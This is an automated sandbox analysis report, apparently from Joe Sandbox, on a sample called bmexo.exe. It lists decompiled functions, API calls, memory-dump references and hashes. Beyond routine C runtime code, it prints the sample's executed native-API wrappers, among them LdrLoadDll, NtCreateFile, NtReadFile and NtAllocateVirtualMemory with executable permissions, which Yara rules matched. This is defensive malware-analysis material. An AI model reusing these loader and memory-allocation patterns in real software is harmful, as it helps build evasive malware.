Part of subcall function 00F2114B: __FF_MSGBANNER.LIBCMT ref: 00F21162
Part of subcall function 00F2114B: __NMSG_WRITE.LIBCMT ref: 00F21169
Part of subcall function 00F2114B: RtlAllocateHeap.NTDLL(00750000,00000000,00000001,00000000,00000000,00000000,?,00F248C7,00000000,00000000,00000000,00000000,?,00F244F9,00000018,00F32280), ref: 00F2118E

_free.LIBCMT ref: 00F27471

Memory Dump Source

Source File: 00000005.00000002.979338255.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000005.00000002.979331640.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979353887.0000000000F33000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979359821.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f20000_bmexo.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: daeaece3dd57e1633c5abac113a44338899c63b2ac03801185fd963ca12dd68e
Instruction ID: fb447e93684eef3c71140e95eba00b7b1477385d4cae60da360431e1652530e0
Opcode Fuzzy Hash: daeaece3dd57e1633c5abac113a44338899c63b2ac03801185fd963ca12dd68e
Instruction Fuzzy Hash: EE110A32D4A735DBCB31BF70BC45B5A3FD8BF10370B204529F9489A250DA788841F694

Uniqueness

Uniqueness Score: -1.00%

Function 00F291C6 Relevance: 6.1, APIs: 4, Instructions: 97
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00F291C6(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				intOrPtr _v12;
				signed int _v20;
				signed int _t35;
				int _t38;
				signed int _t41;
				int _t42;
				intOrPtr* _t44;
				int _t47;
				short* _t49;
				intOrPtr _t50;
				intOrPtr _t54;
				int _t55;
				signed int _t59;
				char* _t62;

				_t62 = _a8;
				if(_t62 == 0) {
					L5:
					return 0;
				}
				_t50 = _a12;
				if(_t50 == 0) {
					goto L5;
				}
				if( *_t62 != 0) {
					E00F24BFC( &_v20, _a16);
					_t35 = _v20;
					__eflags =  *(_t35 + 0xa8);
					if( *(_t35 + 0xa8) != 0) {
						_t38 = E00F2917B( *_t62 & 0x000000ff,  &_v20);
						__eflags = _t38;
						if(_t38 == 0) {
							__eflags = _a4;
							_t41 = _v20;
							_t59 = 1;
							_t28 = _t41 + 4; // 0x840ffff8
							_t42 = MultiByteToWideChar( *_t28, 9, _t62, 1, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t42;
							if(_t42 != 0) {
								L21:
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t31 = _t54 + 0x70;
									 *_t31 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t31;
								}
								return _t59;
							}
							L20:
							_t44 = E00F21CC3();
							_t59 = _t59 | 0xffffffff;
							__eflags = _t59;
							 *_t44 = 0x2a;
							goto L21;
						}
						_t59 = _v20;
						__eflags =  *(_t59 + 0x74) - 1;
						if( *(_t59 + 0x74) <= 1) {
							L15:
							_t20 = _t59 + 0x74; // 0xe1c11fe1
							__eflags = _t50 -  *_t20;
							L16:
							if(__eflags < 0) {
								goto L20;
							}
							__eflags = _t62[1];
							if(_t62[1] == 0) {
								goto L20;
							}
							L18:
							_t22 = _t59 + 0x74; // 0xe1c11fe1
							_t59 =  *_t22;
							goto L21;
						}
						_t12 = _t59 + 0x74; // 0xe1c11fe1
						__eflags = _t50 -  *_t12;
						if(__eflags < 0) {
							goto L16;
						}
						__eflags = _a4;
						_t17 = _t59 + 0x74; // 0xe1c11fe1
						_t18 = _t59 + 4; // 0x840ffff8
						_t47 = MultiByteToWideChar( *_t18, 9, _t62,  *_t17, _a4, 0 | _a4 != 0x00000000);
						_t59 = _v20;
						__eflags = _t47;
						if(_t47 != 0) {
							goto L18;
						}
						goto L15;
					}
					_t55 = _a4;
					__eflags = _t55;
					if(_t55 != 0) {
						 *_t55 =  *_t62 & 0x000000ff;
					}
					_t59 = 1;
					goto L21;
				}
				_t49 = _a4;
				if(_t49 != 0) {
					 *_t49 = 0;
				}
				goto L5;
			}

0x00f291ce
0x00f291d3
0x00f291ed
0x00000000
0x00f291ed
0x00f291d5
0x00f291da
0x00000000
0x00000000
0x00f291df
0x00f291fc
0x00f29201
0x00f29204
0x00f2920b
0x00f2922a
0x00f29231
0x00f29233
0x00f29277
0x00f29283
0x00f29286
0x00f2928b
0x00f2928e
0x00f29294
0x00f29296
0x00f292a6
0x00f292a6
0x00f292aa
0x00f292ac
0x00f292af
0x00f292af
0x00f292af
0x00f292af
0x00000000
0x00f292b5
0x00f29298
0x00f29298
0x00f2929d
0x00f2929d
0x00f292a0
0x00000000
0x00f292a0
0x00f29235
0x00f29238
0x00f2923c
0x00f29265
0x00f29265
0x00f29265
0x00f29268
0x00f29268
0x00000000
0x00000000
0x00f2926a
0x00f2926e
0x00000000
0x00000000
0x00f29270
0x00f29270
0x00f29270
0x00000000
0x00f29270
0x00f2923e
0x00f2923e
0x00f29241
0x00000000
0x00000000
0x00f29245
0x00f2924f
0x00f29255
0x00f29258
0x00f2925e
0x00f29261
0x00f29263
0x00000000
0x00000000
0x00000000
0x00f29263
0x00f2920d
0x00f29210
0x00f29212
0x00f29217
0x00f29217
0x00f2921c
0x00000000
0x00f2921c
0x00f291e1
0x00f291e6
0x00f291ea
0x00f291ea
0x00000000

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00F291FC
__isleadbyte_l.LIBCMT ref: 00F2922A
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000), ref: 00F29258
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000), ref: 00F2928E

Memory Dump Source

Source File: 00000005.00000002.979338255.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000005.00000002.979331640.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979353887.0000000000F33000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979359821.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f20000_bmexo.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: e3c5ecbfb7f4402f8a5ceff8ac18de2e9668d6af25a222035659cdbc9637dd29
Instruction ID: 34b7bf88b492c4c59b988d285d04bcdaf9f50fc81949221ba18132c730b57abb
Opcode Fuzzy Hash: e3c5ecbfb7f4402f8a5ceff8ac18de2e9668d6af25a222035659cdbc9637dd29
Instruction Fuzzy Hash: C131E431A0826AFFDB218F75EC44BAA7BA5FF41320F154128E8648B1E0D7B1D851EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F2A94D Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00F2A94D(void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00F2AE9E(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00F2A9D3(_a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00F2B119(__esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00F2B058(__esi, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x00f2a950
0x00f2a956
0x00f2a9c9
0x00000000
0x00f2a95d
0x00f2a95d
0x00f2a960
0x00f2a97b
0x00f2a97e
0x00f2a99e
0x00f2a9b0
0x00f2a980
0x00f2a980
0x00f2a983
0x00000000
0x00f2a985
0x00f2a997
0x00f2a997
0x00f2a983
0x00f2a9ce
0x00f2a9d2
0x00f2a962
0x00f2a97a
0x00f2a97a
0x00f2a960

APIs

__cftof_l.LIBCMT ref: 00F2A971

Part of subcall function 00F2B058: __fltout2.LIBCMT ref: 00F2B081

__cftog_l.LIBCMT ref: 00F2A997
__cftoe_l.LIBCMT ref: 00F2A9C9

Memory Dump Source

Source File: 00000005.00000002.979338255.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000005.00000002.979331640.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979353887.0000000000F33000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.979359821.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f20000_bmexo.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 0f974109ce9aa9442daa4af383d644670cdb3cd038edc5ee5ffd28896f359a78
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 5F014B7244025EFBCF125E85ED518EE3F27BB18354B5A8515FE2958031D336C9B1BB82

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: bmexo.exePID: 1820, Parent PID: 1224COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	5.5%
Total number of Nodes:	618
Total number of Limit Nodes:	76

Executed Functions

Function 0040A140 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040A140(void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t30;
				void* _t31;
				void* _t32;

				_v8 =  &_v536;
				_t15 = E0041CDB0( &_v12, 0x104, _a8);
				_t31 = _t30 + 0xc;
				if(_t15 != 0) {
					_t17 = E0041D1D0(__eflags, _v8);
					_t32 = _t31 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E0041D450( &_v12, 0);
						_t32 = _t32 + 8;
					}
					_t18 = E0041B500(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}

0x0040a15c
0x0040a15f
0x0040a164
0x0040a169
0x0040a173
0x0040a178
0x0040a17b
0x0040a17d
0x0040a185
0x0040a18a
0x0040a18a
0x0040a191
0x0040a199
0x0040a19c
0x0040a19e
0x0040a1b2
0x00000000
0x0040a1b4
0x0040a1ba
0x0040a16e
0x0040a16e
0x0040a16e

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040A1B2

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8e0004b4359ee1ae85549364c5de1ea6928f237d7e117aa9fb86d6b02b35fb04
Instruction ID: dc890c527bf6af6b94e60bcd83cd2d34ae48ac36e0c5593c426351ed1e2082f7
Opcode Fuzzy Hash: 8e0004b4359ee1ae85549364c5de1ea6928f237d7e117aa9fb86d6b02b35fb04
Instruction Fuzzy Hash: 490112B5D4020DB7DF10DBA5DC42FDEB7789B54308F0441A6A908A7281F635EB54C795

Uniqueness

Uniqueness Score: -1.00%

Function 0041A30A Relevance: 1.5, APIs: 1, Instructions: 42
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E0041A30A(void* __eax, intOrPtr _a8, HANDLE* _a12, long _a16, struct _EXCEPTION_RECORD _a20, struct _ERESOURCE_LITE _a24, struct _GUID _a28, long _a32, long _a36, long _a40, long _a44, void* _a48, long _a52) {
				long _t25;

				asm("daa");
				_pop(_t35);
				_t19 = _a8;
				_t5 = _t19 + 0xc5c; // 0xc5c
				E0041AF60( *((intOrPtr*)(_a8 + 0x14)), _t19, _t5,  *((intOrPtr*)(_a8 + 0x14)), 0, 0x28);
				_t25 = NtCreateFile(_a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48, _a52); // executed
				return _t25;
			}

0x0041a30a
0x0041a30d
0x0041a313
0x0041a31f
0x0041a327
0x0041a35d
0x0041a361

APIs

NtCreateFile.NTDLL(00000060,00409113,?,00415807,00409113,FFFFFFFF,?,?,FFFFFFFF,00409113,00415807,?,00409113,00000060,00000000,00000000), ref: 0041A35D

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ec5c2006babe1b143ba46c5408079c29f07c10c96c76ec8253bf392964ae0bf9
Instruction ID: 22476ba4d21eacb1485a471025a5d994f2f22431d9c8235947b6ffffda91aae7
Opcode Fuzzy Hash: ec5c2006babe1b143ba46c5408079c29f07c10c96c76ec8253bf392964ae0bf9
Instruction Fuzzy Hash: 7A01B2B6201108AFDB08CF89DD84EDB37A9EF8C754F118209BA0D97245C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A310 Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041A310(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;

				_t3 = _a4 + 0xc5c; // 0xc5c
				E0041AF60( *((intOrPtr*)(_a4 + 0x14)), _t15, _t3,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x0041a31f
0x0041a327
0x0041a35d
0x0041a361

APIs

NtCreateFile.NTDLL(00000060,00409113,?,00415807,00409113,FFFFFFFF,?,?,FFFFFFFF,00409113,00415807,?,00409113,00000060,00000000,00000000), ref: 0041A35D

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ede47e358c6f592494742841678bda465d8b9d6efb767baf41057bbc73943ae4
Instruction ID: 22a17d5a8ca0ee81e299f457139f331d0ae15f1ba5b0ed3d189dcc3aa1234c62
Opcode Fuzzy Hash: ede47e358c6f592494742841678bda465d8b9d6efb767baf41057bbc73943ae4
Instruction Fuzzy Hash: 9CF06DB6215208AFCB48DF89DC85EEB77ADAF8C754F158248BA0D97241D630F8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A43A Relevance: 1.5, APIs: 1, Instructions: 40
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E0041A43A(void* __eax, void* __edi, void* __eflags, void* _a4, intOrPtr _a8) {
				long _v0;
				intOrPtr* __esi;
				void* __ebp;
				void* _t19;
				intOrPtr* _t20;
				void* _t22;

				if(__eflags >= 0) {
					_t10 = _a4;
					_t2 = _t10 + 0x14; // 0x56c29f0f
					_t3 = _t10 + 0xc68; // 0x409d7b
					_t20 = _t3;
					E0041AF60( *_t2, _a4, _t20,  *_t2, 0, 0x2b);
					return  *((intOrPtr*)( *_t20))(_a8, _t19, _t22);
				} else {
					__eflags = __eax;
					_push(__ebp);
					__ebp = __esp;
					__eax = _v0;
					_t6 = __eax + 0x14; // 0x56c29f0f
					__ecx =  *_t6;
					_t7 = __eax + 0xc6c; // 0x409d7f
					__esi = _t7;
					E0041AF60( *_t6, _v0, __esi,  *_t6, 0, 0x2c) =  *__esi;
					__eax = NtClose(_a4); // executed
					__esi = __esi;
					__ebp = __ebp;
					return __eax;
				}
			}

0x0041a43c
0x0041a413
0x0041a416
0x0041a41f
0x0041a41f
0x0041a427
0x0041a439
0x0041a43e
0x0041a43e
0x0041a43f
0x0041a441
0x0041a443
0x0041a446
0x0041a446
0x0041a44f
0x0041a44f
0x0041a45f
0x0041a465
0x0041a467
0x0041a468
0x0041a469
0x0041a469

APIs

NtClose.NTDLL(004159A0,?,?,004159A0,00409113,FFFFFFFF), ref: 0041A465

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: db8382feca8c007df7d05794e81be782f43ebc103989d7b0105d3190605e6f01
Instruction ID: 1e38f2064f271834fb41f04a2effb08a09c1e8cdcf796d71c443f5c73b541b47
Opcode Fuzzy Hash: db8382feca8c007df7d05794e81be782f43ebc103989d7b0105d3190605e6f01
Instruction Fuzzy Hash: 13F0F0761002046BCB10EBA8DC88DE77BA8EF44724F14829AF95C5B203C534E65587E1

Uniqueness

Uniqueness Score: -1.00%

Function 0041A3C0 Relevance: 1.5, APIs: 1, Instructions: 36
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E0041A3C0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				intOrPtr* _t27;

				_t13 = _a4;
				_t27 = _a4 + 0xc64;
				E0041AF60( *((intOrPtr*)(_t13 + 0x14)), _t13, _t27,  *((intOrPtr*)(_t13 + 0x14)), 0, 0x2a);
				_t18 =  *((intOrPtr*)( *_t27))(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40); // executed
				return _t18;
			}

0x0041a3c3
0x0041a3cf
0x0041a3d7
0x0041a405
0x0041a409

APIs

NtReadFile.NTDLL(004159C2,5D9515B3,FFFFFFFF,00415681,?,?,004159C2,?,00415681,FFFFFFFF,5D9515B3,004159C2,?,00000000), ref: 0041A405

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: b510bff5fdfeed8eb0fffb7cee2b24ec4e8af31a288f6594e015d3a0b80bf648
Instruction ID: 73ffa567400af51592167d85ddd4e2221f8c27920a6f65a97cb7e9eff46762f8
Opcode Fuzzy Hash: b510bff5fdfeed8eb0fffb7cee2b24ec4e8af31a288f6594e015d3a0b80bf648
Instruction Fuzzy Hash: 99F0B7B2200208AFCB14DF99DC85EEB77ADEF8C754F158249BE0D97241D630E811CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A4EA Relevance: 1.5, APIs: 1, Instructions: 33
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E0041A4EA(signed int __esi, intOrPtr _a5, void* _a9, PVOID* _a13, long _a17, long* _a21, long _a25, long _a29) {
				long _t14;
				signed int _t22;

				_t22 = __esi | 0x0000004c;
				asm("daa");
				asm("rcl byte [ebp-0x75], 1");
				_t10 = _a5;
				_push(_t22);
				_t3 = _t10 + 0xc7c; // 0x3c7c
				E0041AF60( *((intOrPtr*)(_a5 + 0x14)), _t10, _t3,  *((intOrPtr*)(_a5 + 0x14)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a9, _a13, _a17, _a21, _a25, _a29); // executed
				return _t14;
			}

0x0041a4ea
0x0041a4ed
0x0041a4ef
0x0041a4f3
0x0041a4f9
0x0041a4ff
0x0041a507
0x0041a529
0x0041a52d

APIs

NtAllocateVirtualMemory.NTDLL(?,00000000,?,0041B19D,?,0041B19D,?,00000000,?,00003000,00000040,00409113,00000000), ref: 0041A529

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 7c5b439b8bc17e869c2cd1c2d8e37378e2c0988c2d98dffb62198324858ccf8c
Instruction ID: d5307538639919dc26bef951cf3138e465fd58974424f6e3b5853008a3f35d9d
Opcode Fuzzy Hash: 7c5b439b8bc17e869c2cd1c2d8e37378e2c0988c2d98dffb62198324858ccf8c
Instruction Fuzzy Hash: 81F08CB2610119AFDB14DF98DC81EEB7BA8EF8C354F118108FE0DA7241C630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A4F0 Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041A4F0(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;

				_t3 = _a4 + 0xc7c; // 0x3c7c
				E0041AF60( *((intOrPtr*)(_a4 + 0x14)), _t10, _t3,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x0041a4ff
0x0041a507
0x0041a529
0x0041a52d

APIs

NtAllocateVirtualMemory.NTDLL(?,00000000,?,0041B19D,?,0041B19D,?,00000000,?,00003000,00000040,00409113,00000000), ref: 0041A529

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 3937d7bcd71450592b7c43b4c62eb3862b139fe450dcdc5e45fc7760e87cf521
Instruction ID: 0f6e90ac6ad316f0230f9505ffb1913ba8f116b783957ff2d7da3ee6bc7086c1
Opcode Fuzzy Hash: 3937d7bcd71450592b7c43b4c62eb3862b139fe450dcdc5e45fc7760e87cf521
Instruction Fuzzy Hash: 53F0F2B2210208ABDB14DF89DC81EAB77ADAF8C654F118109BA0897241C630E8118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A440 Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041A440(intOrPtr _a4, void* _a8) {
				long _t8;

				_t5 = _a4;
				_t2 = _t5 + 0x14; // 0x56c29f0f
				_t3 = _t5 + 0xc6c; // 0x409d7f
				E0041AF60( *_t2, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x0041a443
0x0041a446
0x0041a44f
0x0041a457
0x0041a465
0x0041a469

APIs

NtClose.NTDLL(004159A0,?,?,004159A0,00409113,FFFFFFFF), ref: 0041A465

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 829c97b90c121aadc2fe6170b15f633a5be8987cb5c0fe9b9f6c1e719d211015
Instruction ID: 647376dfd9c4a3ead1cf8bf61973886ae708b244be9dddf4ec43f9330a142b27
Opcode Fuzzy Hash: 829c97b90c121aadc2fe6170b15f633a5be8987cb5c0fe9b9f6c1e719d211015
Instruction Fuzzy Hash: 96D01772200218ABD620EB99DC89ED77BACDF48A64F118055BA4C5B242C530FA1086E1

Uniqueness

Uniqueness Score: -1.00%

Function 009A00C4 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 009A00CF

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction ID: e6c77262f5ba2182d122b5874ee39bb292c5f7eee28c199429390ea98cabeb31
Opcode Fuzzy Hash: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction Fuzzy Hash: 79B01272100940C7E309D724DD06F4B7210FFC0F01F008A3EA00B81851DA38A93CC846

Uniqueness

Uniqueness Score: -1.00%

Function 009A0048 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 009A0053

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2990f9787256fe8461cfe6d04bba8dff018c5c70436f30267b6dae5db6cec36e
Instruction ID: 41e4343c146f66e2bb318e135f4e172b2897deff735033a37a94e91f6413aa4b
Opcode Fuzzy Hash: 2990f9787256fe8461cfe6d04bba8dff018c5c70436f30267b6dae5db6cec36e
Instruction Fuzzy Hash: DBB012B2100540C7E3099714D946B4B7210FB90F00F40C93BA11B81861DB3C993CD46A

Uniqueness

Uniqueness Score: -1.00%

Function 009A0078 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 009A0086

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
